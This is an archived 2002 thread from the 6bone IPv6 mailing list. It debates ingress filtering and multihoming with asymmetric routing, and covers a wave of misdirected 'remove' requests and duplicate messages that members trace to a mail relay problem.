cc: Michel Py <michel@arneill-py.sacramento.ca.us>,
        Francis Dupont <Francis.Dupont@enst-bretagne.fr>,
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Subject: Re: asymmetric routing
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On Wed, 30 Jan 2002, Dave Wilson wrote:
> These are separate considerations, however. Forwarding traffic with a 
> source address that is not your own, for good or ill, doesn't harm the 
> routing table in the same way that unaggregated advertisements do, and 
> so it seems to me it's entirely compatible with (or agnostic of) the 
> principle of strict aggregation.

Yes, but forwarding when not advertising can lead to unexpected results; 
e.g. _any_ router discarding the packets due to failing ingress 
filtering checks.
 
-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Thu Jan 31 02:04:05 2002
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CC: Francis Dupont <Francis.Dupont@enst-bretagne.fr>, ipng@uni-muenster.de,
        Michael Kjorling <michael@kjorling.com>, 6bone <6bone@ISI.EDU>,
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Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)
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> The point I am trying to make is: unless you can give me a
> legitimate reason why ISP Y should accept ISP X' PA prefix PX as
> the source, there is no reason NOT to have access-lists that deny
> customer's traffic that has a source address that not belong to the
> ISP's PA address space and is not a PI address. There are no IPv6
> PI addresses as of today. Please prove me wrong.


I agree with the above, and most of your post. One question, is it 
necessary to enumerate these reasons now, or is it sufficient to say that:

(1) There are some ISPs who do not care about asymmetric traffic
(2) There are some ISPs who may negotiate with the customer to allow it, 
as a service?

I do not propose that we require ISPs to carry asymmetric traffic. Is it 
still worthwhile to develop multihoming solutions that are available to 
those that do?

Dave



From 6bone-owner  Thu Jan 31 02:09:37 2002
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From: Jan Oravec <wsx@wsx6.net>
To: Michel Py <michel@arneill-py.sacramento.ca.us>
Cc: 6bone@ISI.EDU
Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)
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Michel,

> > If the customer has legitimate reason for sending alien traffic
> > (i.e. the space has been allocated to the customer by another
> > ISP), I see no reason why the ISP can't choose to allow it.
> 
> Can we enumerate the legitimate reasons for sending (accepting I
> think would be more appropriate) alien IPv6 PA traffic? In my mind,
> there are not any, and multihoming is NOT a legitimate reason. It's
> not like it is a bad idea, but requirering ISPs to transport the
> traffic of their competitors is not going to fly, no way.

The name 'traffic of their competitors' is confusing. Traffic was originated
by customer of ISP, not by ISP's competitor. The customer pays for transit,
so I don't see a reason for filtering.


> > Where a site chooses to allow a customer route traffic
> > asymmetrically, and otherwise implements RFC2827, I don't
> > understand the harm in allowing a multihoming solution based on
> > this. My instinct says that we'd lose a whole swathe of
> > potential solutions for arguably little benefit.
I agree..
> 
> The main harm is to the perceived revenue loss transporting other
> provider's traffic for free. A little bird has told me that most
> ISPs perceive it very strongly.

Again, it's not 'other provider's traffic', it's 'customer's traffic'.

The example: you have two post offices - A and B.
I want to send letter to someone. The post office A has better prices for
this destination, but I want to get response to my p.o.box at office B.
So I write return-address to 'B' on letter.
I pay some money to A for sending the letter. (and I pay some money to B for
my p.o.box)
Yes, they cannot check whether my 'B' address is regular or not.

The question is: Shall they reject delivery ?


Regards,

-- 
Jan Oravec
project coordinator
XS26 - 'Access to IPv6'  
jan.oravec@xs26.net

From 6bone-owner  Thu Jan 31 03:17:15 2002
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Date: Thu, 31 Jan 2002 06:17:08 -0500 (EST)
From: Ville <villearc@stealth.net>
To: 6bone <6bone@ISI.EDU>
Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)
In-Reply-To: <2B81403386729140A3A899A8B39B046406C2AD@server2000.arneill-py.sacramento.ca.us>
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Michel,

> > (quote/Dave Wilson)

> > If the customer has legitimate reason for sending alien traffic
> > (i.e. the space has been allocated to the customer by another
> > ISP), I see no reason why the ISP can't choose to allow it.

> (clip) (quote/Michel Py)

> there are not any, and multihoming is NOT a legitimate reason. It's
> not like it is a bad idea, but requirering ISPs to transport the
> traffic of their competitors is not going to fly, no way.

	Mind you, this actually happens. Even at current many NSPs
	free-willingly carry alien-traffic. Yet one does not see
	people run aloof on the streets and scream in panic() with
	all their valuables on fire.

	Sure, clearly not a solution for the QoS-sighted, but still
	indeniably a rather high-ranking option for people interested
	in sheer high volumes of bulk-traffic.

	What are we to pick for people what they want. If neither
	discouraged nor eliminated by protocol-design, the provider
	itself is left with all choices as to what to and what not to
	offer for his/her own clients.


> Michel.

Cheers,
-- 
	Ville <viha@stealth.net>  Network Security/IPv6 Solutions
				  Stealth Communications, Inc.




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It's not clear why so many people are trying to leave the mailing list,
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If you ever want to remove yourself from this mailing list,
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Or you can send mail to "majordomo@zephyr.isi.edu" with the following command
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-- George Mitchell


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> remove


"WorldSecure Server <safeway.com>" made the following
 annotations on 01/31/02 15:11:15
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==============================================================================


From 6bone-owner  Thu Jan 31 14:36:14 2002
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Date: Thu, 31 Jan 2002 16:36:09 -0600 (CST)
From: Sudhir Vaka <sudhirv@utdallas.edu>
To: 6bone@ISI.EDU
Subject: remove
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remove

Sudhir K Vaka



From 6bone-owner  Thu Jan 31 14:44:41 2002
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remove




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From 6bone-owner  Thu Jan 31 15:06:35 2002
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Subject: Re: remove
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On Thu, 2002-01-31 at 13:48, Kevin R. Johnsrud wrote:
> remove

iguana



(try sending 'unsubscribe 6bone' to majordomo@isi.edu)

--=20
Ben Winslow (rain@bluecherry.net) : Andrea: Unhappy is the land that=20
       System Administrator       : has no heroes. Galileo: No;
   Bluecherry Internet Services   : unhappy is the land that needs
    http://www.bluecherry.net/    : heroes. =20
          (573) 592-0800          :=20

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From 6bone-owner  Thu Jan 31 15:56:36 2002
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Subject: RE: (6bone) Ingress filtering (was: asymmetric routing)
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Ville" <villearc@stealth.net>, "6bone" <6bone@ISI.EDU>
Cc: "Dave Wilson" <dave.wilson@heanet.ie>, "Jan Oravec" <wsx@wsx6.net>,
        "Pekka Savola" <pekkas@netcore.fi>
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folks,

> Dave Wilson wrote:
> (2) There are some ISPs who may negotiate with the customer to
> allow it, as a service?
> I do not propose that we require ISPs to carry asymmetric traffic.
> Is it still worthwhile to develop multihoming solutions that are
> available to those that do?

This is a dangerous and slippery slope, because the next step would
be to break aggregation to get routes to the DMZ.


>> Dave Wilson wrote:
>> These are separate considerations, however. Forwarding traffic
>> with a source address that is not your own, for good or ill,
>> doesn't harm the routing table in the same way that unaggregated
>> advertisements do, and  so it seems to me it's entirely compatible
>> with (or agnostic of) the principle of strict aggregation.

> Pekka Savola wrote:
> Yes, but forwarding when not advertising can lead to unexpected
> results; e.g. _any_ router discarding the packets due to failing
> ingress filtering checks.

Concur.


> Jan Oravec wrote:
> Again, it's not 'other provider's traffic', it's 'customer's traffic'.
> The example: you have two post offices - A and B.
> I want to send letter to someone. The post office A has better prices
> for this destination, but I want to get response to my p.o.box at
> office B. So I write return-address to 'B' on letter. I pay some money
> to A for sending the letter. (and I pay some money to B for my p.o.
> box) Yes, they cannot check whether my 'B' address is regular or not.
> The question is: Shall they reject delivery ?

No, and it works for two reasons:
1. A and B have agreements.
2. B is getting paid twice, once by you and once by the buddy that
replies to you that buys a stamp.

You are making the same point as Dave, above. You could, indeed, cut a
deal with both ISPs requesting that they both allow each other traffic
trough.

Again, this is a slippery slope. Then the two ISPs are going to exchange
routes, then they are going to advertise each other's routes and break
aggregation, and then we are in the same mess.


> Ville wrote:
> what are we to pick for people what they want. If neither
> discouraged nor eliminated by protocol-design, the provider
> itself is left with all choices as to what to and what not to
> offer for his/her own clients.

I am a protocol designer. One of the reasons I read and post to the
6bone mailing list is to get a feeling of how features or requirements
will be perceived by the 6bone community, so I can decide to
incorporate or not these features/requirements in my protocol.

Michel.


From 6bone-owner  Thu Jan 31 17:05:38 2002
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@ISI.EDU>
Subject: RE: remove
Date: Thu, 31 Jan 2002 20:04:22 -0500
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Hello from Gregg C Levine normally with Jedi Knight Computers
These "remove", subjected messages are getting to be a nuisance. Can the
list-owner, or someone else, familiar with the way things are managed on
this list, post the actual instructions? This is the third, no fourth
"remove", subjected message, today, and they are getting to be a
nuisance, as I have written before. I have since sent out two messages,
one suggesting that the correspondent, send the appropriate message the
list server address who subscribed him, and the other, simply a reminder
to re-read the message that was sent out on the subject.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] 
Sent: Thursday, January 31, 2002 5:43 PM
To: 6bone@ISI.EDU
Subject: remove

remove





From 6bone-owner  Thu Jan 31 17:08:15 2002
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From: george+6bone@m5p.com
To: 6bone@ISI.EDU
Subject: How to remove yourself from the list
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It's not clear why so many people are trying to leave the mailing list,
but let me post this reminder, which you all got when you first subscribed
to the list:


If you ever want to remove yourself from this mailing list,
send the following command in email to
"6bone-request@zephyr.isi.edu":

    unsubscribe

Or you can send mail to "majordomo@zephyr.isi.edu" with the following command
in the body of your email message:

    unsubscribe 6bone <your-email-address>

-- George Mitchell

From 6bone-owner  Thu Jan 31 17:15:09 2002
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From: "Bao, Gan Feng (Bill)" <baogf@lucent.com>
To: 6bone@ISI.EDU
Subject: remove
Date: Fri, 1 Feb 2002 09:14:46 +0800 
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remove

From 6bone-owner  Thu Jan 31 17:41:12 2002
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Reply-To: "Kevin R. Johnsrud" <kjohnsrud@usa.net>
From: "Kevin R. Johnsrud" <kjohnsrud@usa.net>
To: <6bone@ISI.EDU>
References: <3C598855.4109BC5C@campus.cem.itesm.mx>
Subject: Re: remove
Date: Thu, 31 Jan 2002 11:48:16 -0800
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remove

From 6bone-owner  Thu Jan 31 17:48:05 2002
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From: Brian Chase <vaxzilla@jarai.org>
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To: george+6bone@m5p.com
cc: 6bone@ISI.EDU
Subject: Re: How to remove yourself from the list
In-Reply-To: <200201312104.g0VL4lcf062297@m5p.com>
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On Thu, 31 Jan 2002 george+6bone@m5p.com wrote:

> It's not clear why so many people are trying to leave the mailing list,
> [...]

Maybe an e-mail worm?  It makes no sense that there would be this many
"remove" requests hitting the list so suddenly.  But then looking at the
message headers, there's mix of mail clients involved--everything from
Outlook, to Netscape, to Pine.

Possibly it's a /wetware/ level e-mail worm where the people who've
wanted off the list for a while are imitating the first message--due to
an incorrect assumption that sending "remove" will actually take them
off the list?

Barring that, I'd say attribute it to aliens.

-brian.


From 6bone-owner  Thu Jan 31 17:49:41 2002
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Date: Thu, 31 Jan 2002 16:36:09 -0600 (CST)
From: Sudhir Vaka <sudhirv@utdallas.edu>
To: 6bone@ISI.EDU
Subject: remove
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remove

Sudhir K Vaka


From 6bone-owner  Thu Jan 31 18:13:00 2002
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From: "Marc Bleuler" <marc@bleuler.net>
To: <6bone@ISI.EDU>
Subject: remove
Date: Thu, 31 Jan 2002 23:42:43 +0100
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remove




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From 6bone-owner  Thu Jan 31 18:15:18 2002
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To: Marc Bleuler <marc@bleuler.net>
Cc: <6bone@ISI.EDU>
Subject: Re: remove
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There have been an unusually high rate of remove requests on this list. Are
they all valid, or is this some new form of cancelbot attack? I've never
heard of widespread malicous cancels on a mailing list, but it could certainly
happen.
In the case that these requests are not bogus, it migh make life simpler if
we have a default footer with remove instructions. On the one hand, the
bandwidth cost would certainly be higher. On the other hand, the frustatration
costs would be lower. Just a thought...

-- 
Craig West         Ph: (416) 567-1491	|  It's not a bug,
acwest-sig@craigwest.net              	|  It's a feature...


From 6bone-owner  Thu Jan 31 18:29:24 2002
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Subject: Re: remove
From: Ben Winslow <rain@bluecherry.net>
To: 6bone@ISI.EDU
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On Thu, 2002-01-31 at 13:48, Kevin R. Johnsrud wrote:
> remove

iguana



(try sending 'unsubscribe 6bone' to majordomo@isi.edu)

--=20
Ben Winslow (rain@bluecherry.net) : Andrea: Unhappy is the land that=20
       System Administrator       : has no heroes. Galileo: No;
   Bluecherry Internet Services   : unhappy is the land that needs
    http://www.bluecherry.net/    : heroes. =20
          (573) 592-0800          :=20

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From 6bone-owner  Thu Jan 31 19:51:21 2002
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Organization: Safeway Inc.
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To: 6bone@ISI.EDU
Subject: Re: remove
References: <3C598855.4109BC5C@campus.cem.itesm.mx>
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> remove


"WorldSecure Server <safeway.com>" made the following
 annotations on 01/31/02 15:11:15
------------------------------------------------------------------------------
Warning: 
All e-mail sent to this address will be received by the Safeway corporate e-mail system, and is subject to archival and review by someone other than the recipient.  This e-mail may contain information proprietary to Safeway and is intended only for the use of the intended recipient(s).  If the reader of this message is not the intended recipient(s), you are notified that you have received this message in error and that any review, dissemination, distribution or copying of this message is strictly prohibited.  If you have received this message in error, please notify the sender immediately. 
  

==============================================================================

From 6bone-owner  Thu Jan 31 19:53:21 2002
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Date: Thu, 31 Jan 2002 22:53:15 -0500 (EST)
From: John Klos <john@sixgirls.org>
To: 6bone@ISI.EDU
Subject: Gag? Joke? was Re: remove
In-Reply-To: <31C0F08B0D18D511ACC800508BAE7B47D4EF@CI0026EXCH001U>
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> remove

This has got to be a joke... Although I don't get it, and I don't think
it's particularly witty or clever, it has to be a joke... I seriously
doubt there are so many people who are or have been seriously interested
in IPv6 who can't figure out a mailing list...

And to post "remove" after several emails describing how to remove one's
self from the list...

Ok - who put these people up to this?

John Klos
Sixgirls Computing Labs


From 6bone-owner  Thu Jan 31 19:58:38 2002
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@ISI.EDU>
Subject: RE: How to remove yourself from the list
Date: Thu, 31 Jan 2002 22:57:14 -0500
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Hello from Gregg C Levine normally with Jedi Knight Computers and
writing for myself
Indeed. This does get filed under the heading, "Unknown Origins". If
anything else, it is not aliens. I work with several here, all staff
members, and I am the only one with access to the system for sending out
messages. Hence the disclaimer at the top.
However, it could a grouping of them elsewhere on the list, and then
there is that peculiar e-mail relay problem.

-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of
> Brian Chase
> Sent: Thursday, January 31, 2002 8:48 PM
> To: george+6bone@m5p.com
> Cc: 6bone@ISI.EDU
> Subject: Re: How to remove yourself from the list
> 
> On Thu, 31 Jan 2002 george+6bone@m5p.com wrote:
> 
> > It's not clear why so many people are trying to leave the mailing
list,
> > [...]
> 
> Maybe an e-mail worm?  It makes no sense that there would be this many
> "remove" requests hitting the list so suddenly.  But then looking at
the
> message headers, there's mix of mail clients involved--everything from
> Outlook, to Netscape, to Pine.
> 
> Possibly it's a /wetware/ level e-mail worm where the people who've
> wanted off the list for a while are imitating the first message--due
to
> an incorrect assumption that sending "remove" will actually take them
> off the list?
> 
> Barring that, I'd say attribute it to aliens.
> 
> -brian.
> 
> 


From 6bone-owner  Thu Jan 31 20:50:29 2002
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From: "Joel Baker" <lucifer@lightbearer.com>
Date: Thu, 31 Jan 2002 21:50:24 -0700
To: 6bone@ISI.EDU
Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)
Message-ID: <20020131215024.A24240@lightbearer.com>
References: <2B81403386729140A3A899A8B39B046405DE83@server2000.arneill-py.sacramento.ca.us>
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In-Reply-To: <2B81403386729140A3A899A8B39B046405DE83@server2000.arneill-py.sacramento.ca.us>; from michel@arneill-py.sacramento.ca.us on Thu, Jan 31, 2002 at 03:56:26PM -0800
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On Thu, Jan 31, 2002 at 03:56:26PM -0800, Michel Py wrote:
> 
> I am a protocol designer. One of the reasons I read and post to the
> 6bone mailing list is to get a feeling of how features or requirements
> will be perceived by the 6bone community, so I can decide to
> incorporate or not these features/requirements in my protocol.

Any protocol which does not support the ability to control traffic balance
to some degree... will just be ignored. After all, why should a business
spend millions of dollars to adopt a protocol which makes their connections
far less efficient?

On the other hand, there are protocols out there that do answer this issue,
used in combination with IPv6 (or even IPv4) PA space. However, until they
are widely adopted (read: part of the Windows network stack by default),
trying to convince a business to spend vast dollars to hurt it's own
interests is... well, just read the sentance. Anything which doesn't give
out PI space, and routes, to everyone who has them now, just isn't likely
to really fly.
-- 
***************************************************************************
Joel Baker                           System Administrator - lightbearer.com
lucifer@lightbearer.com              http://users.lightbearer.com/lucifer/

From 6bone-owner  Thu Jan 31 22:32:24 2002
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "John Klos" <john@sixgirls.org>, <6bone@ISI.EDU>
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6bone folk,

It might be worth investigating Richard & Kathleen Pearson with a road runner in the Tampa area.
I do NOT like the "If not complied with," part, it sounds like a threat.

Can someone dump the logs from the server to see who is it that subscribed all these people probably without their consent?

Michel.

------------------------------------------------
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Richard & Kathleen Pearson
Sent: Monday, January 28, 2002 11:54 AM
To: 'Matthew Lehman'; 'Pim van Pelt'; 'Sandy Wills'
Cc: ipng@uni-muenster.de; '6bone'
Subject: RE: asymmetric routing

Please remove me from the distribution list.  This is the 3rd time I have asked.  If not complied with, I will report these messages a spam mail.

Microsoft Mail Internet Headers Version 2.0
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From: "Richard & Kathleen Pearson" <rpearso1@tampabay.rr.com>
To: "'Matthew Lehman'" <mlehman@microsoft.com>, "'Pim van Pelt'" <pim@ipng.nl>,
        "'Sandy Wills'" <willss@mediaone.net>
Cc: <ipng@uni-muenster.de>, "'6bone'" <6bone@ISI.EDU>
Subject: RE: asymmetric routing
Date: Mon, 28 Jan 2002 14:54:07 -0500
Message-ID: 004d01c1a835$8cb093c0$d7d82341@tampabay.rr.com


-----Original Message-----
From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of Richard & Kathleen Pearson
Sent: Monday, January 28, 2002 11:54 AM
To: 'Matthew Lehman'; 'Pim van Pelt'; 'Sandy Wills'
Cc: ipng@uni-muenster.de; '6bone'
Subject: RE: asymmetric routing

Please remove me from the distribution list.  This is the 3rd time I have asked.  If not complied with, I will report these messages a spam mail.

Thanks


From 6bone-owner  Thu Jan 31 22:49:35 2002
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Subject: Really evil list happenings
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To: 6bone@ISI.EDU
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--=-YCv4c8qsyRhlImVJZwti
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable

Is it just me, or is anyone else getting duplicate messages (headers and
all) in addition to all the ill-guided remove requests?

(rain@spock:/var/log) grep ISI.EDU syslog | awk -F'<' '{print $3}' | cut
-d'>' -f1 | sort | uniq -c
      1 000201c1aabc$63693f60$ac60580c@who
      1 001001c1aad4$88ee6cc0$ac60580c@who
      2 002601c1aa90$39db2400$8500a8c0@Dastun
      1 09a401c1aa72$78a7c8a0$834009d9@napoli.consorziocini.it
      2 1012518358.11439.7.camel@halcyon
      1 20020131110931.A62999@ipv6.isternet.sk
      2 200201312104.g0VL4lcf062297@m5p.com
      1
2B81403386729140A3A899A8B39B046405DE83@server2000.arneill-py.sacramento.ca.=
us
      1 31C0F08B0D18D511ACC800508BAE7B47D4EF@CI0026EXCH001U
      1 3C5916F0.7010903@heanet.ie
      1 3C598855.4109BC5C@campus.cem.itesm.mx
      1 3C59C112.A9F1F000@safeway.com
      2 NEBBKBIFCMFDBPJPMCOBGEPACCAA.marc@bleuler.net
      1 Pine.GSO.4.21.0201310457230.20269-100000@millennium.stealth.net
      2 Pine.GSO.4.21.0201311635490.26130-100000@apache.utdallas.edu
      1 Pine.LNX.4.33.0201312109550.11697-100000@gizmo.bdkw
      1 Pine.NEB.4.43.0201311735500.21374-100000@haiku.jarai.net
      1 Pine.NEB.4.44.0201312250320.19035-100000@reva.sixgirls.org

I'm thinking it's not just me...

--=20
Ben Winslow (rain@bluecherry.net) : Nothing is so firmly believed as=20
       System Administrator       : that which we least know. --
   Bluecherry Internet Services   : Michel de Montaigne =20
    http://www.bluecherry.net/    :=20
          (573) 592-0800          :=20

--=-YCv4c8qsyRhlImVJZwti
Content-Type: application/pgp-signature; name=signature.asc
Content-Description: This is a digitally signed message part

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.0.6 (GNU/Linux)
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z2uFuO0YqeDsxngb82QT8kQ=
=oEgy
-----END PGP SIGNATURE-----

--=-YCv4c8qsyRhlImVJZwti--


From 6bone-owner  Thu Jan 31 23:21:27 2002
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Subject: RE: (6bone) Ingress filtering (was: asymmetric routing)
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From: "Michel Py" <michel@arneill-py.sacramento.ca.us>
To: "Joel Baker" <lucifer@lightbearer.com>, <6bone@ISI.EDU>
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Joel,

I personally agree with your post, but I can tell you that
not everybody shares our point of view, especially on this:

> Anything which doesn't give out PI space, and routes, to
> everyone who has them now, just isn't likely to really fly.

Michel.


-----Original Message-----
From: Joel Baker [mailto:lucifer@lightbearer.com]
Sent: Thursday, January 31, 2002 8:50 PM
To: 6bone@ISI.EDU
Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)

On Thu, Jan 31, 2002 at 03:56:26PM -0800, Michel Py wrote:
>
> I am a protocol designer. One of the reasons I read and post to the
> 6bone mailing list is to get a feeling of how features or requirements
> will be perceived by the 6bone community, so I can decide to
> incorporate or not these features/requirements in my protocol.

Any protocol which does not support the ability to control traffic balance
to some degree... will just be ignored. After all, why should a business
spend millions of dollars to adopt a protocol which makes their connections
far less efficient?

On the other hand, there are protocols out there that do answer this issue,
used in combination with IPv6 (or even IPv4) PA space. However, until they
are widely adopted (read: part of the Windows network stack by default),
trying to convince a business to spend vast dollars to hurt it's own
interests is... well, just read the sentance. Anything which doesn't give
out PI space, and routes, to everyone who has them now, just isn't likely
to really fly.
--
***************************************************************************
Joel Baker                           System Administrator - lightbearer.com
lucifer@lightbearer.com              http://users.lightbearer.com/lucifer/


From 6bone-owner  Thu Jan 31 23:52:45 2002
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From: Robert Elz <kre@munnari.OZ.AU>
To: 6bone@ISI.EDU
Subject: Re: remove 
In-Reply-To: <Pine.LNX.4.33.0201312109550.11697-100000@gizmo.bdkw> 
References: <Pine.LNX.4.33.0201312109550.11697-100000@gizmo.bdkw> 
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    Date:        Thu, 31 Jan 2002 21:15:03 -0500 (EST)
    From:        <acwest-6bone@mail.bdkw.yi.org>
    Message-ID:  <Pine.LNX.4.33.0201312109550.11697-100000@gizmo.bdkw>

  | There have been an unusually high rate of remove requests on this list. Are
  | they all valid, or is this some new form of cancelbot attack?

The other possibility is that someone added a list (an exploder) to the 6bone
list, and people on that list have suddenly started getting traffic that they
never intended, and want to make it go away.   That could even happen
if an address that used to be a valid address for an individual on the
list was reinstated as the address of a list (and I have seen sillier
things happen...)

kre


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REMOVE

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REMOVE


From 6bone-owner  Fri Feb  1 02:46:41 2002
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Date: Fri, 1 Feb 2002 12:46:27 +0200 (EET)
From: Pekka Savola <pekkas@netcore.fi>
To: Joel Baker <lucifer@lightbearer.com>
cc: 6bone@ISI.EDU
Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)
In-Reply-To: <20020131215024.A24240@lightbearer.com>
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On Thu, 31 Jan 2002, Joel Baker wrote:
> Any protocol which does not support the ability to control traffic balance
> to some degree... will just be ignored. After all, why should a business
> spend millions of dollars to adopt a protocol which makes their connections
> far less efficient?

A protocol that will make multihoming work _at all_ would fit the criteria
IMO.

> interests is... well, just read the sentance. Anything which doesn't give
> out PI space, and routes, to everyone who has them now, just isn't likely
> to really fly.

Problem with IPv6 multihoming is that IPv4 multihoming is so "easy" and 
works quite well.  It may be we can't design a protocol or equivalent that 
will handle the scenarios responsibly and as well.

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From 6bone-owner  Fri Feb  1 04:39:00 2002
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Date: Fri, 1 Feb 2002 04:38:57 -0800
From: Bill Manning <bmanning@ISI.EDU>
To: 6bone@ISI.EDU
Subject: The welcome message
Message-ID: <20020201123857.GJ5977@zed.isi.edu>
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Welcome to the 6bone mailing list!

If you ever want to remove yourself from this mailing list,
send the following command in email to
"6bone-request@isi.edu":

    unsubscribe

Or you can send mail to "majordomo@isi.edu" with the following command
in the body of your email message:

    unsubscribe 6bone <your email address>

--------------------------------------------------------

There is a relay in singapore that I -think- has been squashed.
There might be another one that is still being investigated.

thanks for you patience

--bill

From 6bone-owner  Fri Feb  1 06:04:06 2002
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Date: Fri, 01 Feb 2002 09:03:59 -0500
From: Larry Honig <larhonig@ix.netcom.com>
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Nah, you're all wrong - it was that iguana (again, I hate when that happens)...

/Larry Honig


Robert Elz wrote:

>     Date:        Thu, 31 Jan 2002 21:15:03 -0500 (EST)
>     From:        <acwest-6bone@mail.bdkw.yi.org>
>     Message-ID:  <Pine.LNX.4.33.0201312109550.11697-100000@gizmo.bdkw>
>
>   | There have been an unusually high rate of remove requests on this list. Are
>   | they all valid, or is this some new form of cancelbot attack?
>
> The other possibility is that someone added a list (an exploder) to the 6bone
> list, and people on that list have suddenly started getting traffic that they
> never intended, and want to make it go away.   That could even happen
> if an address that used to be a valid address for an individual on the
> list was reinstated as the address of a list (and I have seen sillier
> things happen...)
>
> kre


From 6bone-owner  Fri Feb  1 07:31:32 2002
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From: "Matteo Tescione" <wizard@italiansky.com>
To: <6bone@ISI.EDU>
References: <Pine.LNX.4.44.0202011242290.25371-100000@netcore.fi>
Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)
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> Problem with IPv6 multihoming is that IPv4 multihoming is so "easy" and
> works quite well.  It may be we can't design a protocol or equivalent that
> will handle the scenarios responsibly and as well.
Easy???
According to you if ipv4 multihoming is easy, ipv6 multihoming will be
impossible...
And if ipv6 multihoming will be impossible I suggest to stop experimenting
ipv6.
Again, if I can, a simple question: what is ipv6 goal?
Matteo Tescione
IP & Security Manager
COMV6 site

----- Original Message -----
From: "Pekka Savola" <pekkas@netcore.fi>
To: "Joel Baker" <lucifer@lightbearer.com>
Cc: <6bone@ISI.EDU>
Sent: Friday, February 01, 2002 11:46 AM
Subject: Re: (6bone) Ingress filtering (was: asymmetric routing)


> On Thu, 31 Jan 2002, Joel Baker wrote:
> > Any protocol which does not support the ability to control traffic
balance
> > to some degree... will just be ignored. After all, why should a business
> > spend millions of dollars to adopt a protocol which makes their
connections
> > far less efficient?
>
> A protocol that will make multihoming work _at all_ would fit the criteria
> IMO.
>
> > interests is... well, just read the sentance. Anything which doesn't
give
> > out PI space, and routes, to everyone who has them now, just isn't
likely
> > to really fly.
>
>
> --
> Pekka Savola                 "Tell me of difficulties surmounted,
> Netcore Oy                   not those you stumble over and fall"
> Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords
>


From 6bone-owner  Fri Feb  1 09:32:34 2002
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "'Ben Winslow'" <rain@bluecherry.net>
Cc: "6bone Mail List" <6bone@ISI.EDU>
Subject: RE: Really evil list happenings
Date: Fri, 1 Feb 2002 12:31:02 -0500
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Hello from Gregg C Levine writing for myself
Its not just you, Ben. I am as well. I wrote a message to the blockheads
at the address which is causing the relay, and they sent me a form
letter response, you know the one, stating that I should check their
FAQ. I replied that the problem does not fit into their FAQ, so they
darn well better get back to me, on it. As of right now, they have not.
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU] On Behalf Of
Ben
> Winslow
> Sent: Friday, February 01, 2002 1:49 AM
> To: 6bone@ISI.EDU
> Subject: Really evil list happenings
> 
> Is it just me, or is anyone else getting duplicate messages (headers
and
> all) in addition to all the ill-guided remove requests?
> 
> (rain@spock:/var/log) grep ISI.EDU syslog | awk -F'<' '{print $3}' |
cut
> -d'>' -f1 | sort | uniq -c
>       1 000201c1aabc$63693f60$ac60580c@who
>       1 001001c1aad4$88ee6cc0$ac60580c@who
>       2 002601c1aa90$39db2400$8500a8c0@Dastun
>       1 09a401c1aa72$78a7c8a0$834009d9@napoli.consorziocini.it
>       2 1012518358.11439.7.camel@halcyon
>       1 20020131110931.A62999@ipv6.isternet.sk
>       2 200201312104.g0VL4lcf062297@m5p.com
>       1
> 2B81403386729140A3A899A8B39B046405DE83@server2000.arneill-
> py.sacramento.ca.us
>       1 31C0F08B0D18D511ACC800508BAE7B47D4EF@CI0026EXCH001U
>       1 3C5916F0.7010903@heanet.ie
>       1 3C598855.4109BC5C@campus.cem.itesm.mx
>       1 3C59C112.A9F1F000@safeway.com
>       2 NEBBKBIFCMFDBPJPMCOBGEPACCAA.marc@bleuler.net
>       1
Pine.GSO.4.21.0201310457230.20269-100000@millennium.stealth.net
>       2 Pine.GSO.4.21.0201311635490.26130-100000@apache.utdallas.edu
>       1 Pine.LNX.4.33.0201312109550.11697-100000@gizmo.bdkw
>       1 Pine.NEB.4.43.0201311735500.21374-100000@haiku.jarai.net
>       1 Pine.NEB.4.44.0201312250320.19035-100000@reva.sixgirls.org
> 
> I'm thinking it's not just me...
> 
> --
> Ben Winslow (rain@bluecherry.net) : Nothing is so firmly believed as
>        System Administrator       : that which we least know. --
>    Bluecherry Internet Services   : Michel de Montaigne
>     http://www.bluecherry.net/    :
>           (573) 592-0800          :


From 6bone-owner  Fri Feb  1 09:34:55 2002
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From: "Gregg C Levine" <hansolofalcon@worldnet.att.net>
To: "6bone Mail List" <6bone@ISI.EDU>
Subject: RE: The welcome message
Date: Fri, 1 Feb 2002 12:33:25 -0500
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Hello from Gregg C Levine writing for myself
